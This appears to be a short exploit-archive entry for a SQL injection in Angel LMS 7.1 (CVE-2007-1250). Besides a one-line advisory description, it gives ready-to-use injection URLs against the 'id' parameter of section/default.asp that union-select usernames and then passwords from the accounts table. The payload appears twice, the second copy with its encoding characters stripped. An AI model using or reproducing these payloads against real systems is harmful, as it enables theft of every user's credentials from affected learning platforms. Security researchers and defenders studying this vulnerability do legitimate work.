angellms71-sql.txt

Angel LMS 7.1 Remote SQL Injection by Guns All User Accounts http://Angel Root Directory/section/default.asp?id='%20union%20select%20top%201%20username%20from%20accounts--" Account Passwords http://Angel Root...

CVE-2007-1250

SQL injection vulnerability in section/default.asp in ANGEL Learning Management Suite LMS 7.1 allows remote attackers to execute arbitrary SQL commands via the id parameter...

Angel LMS 7.1 - Remote SQL Injection

Angel LMS 7.1 Remote SQL Injection by Guns All User Accounts http://Angel Root Directory/section/default.asp?id='20union20select20top20120username20from20accounts--" Account Passwords http://Angel Root Directory/section/default.asp?id='20union20select20top20120password20from20accounts--"...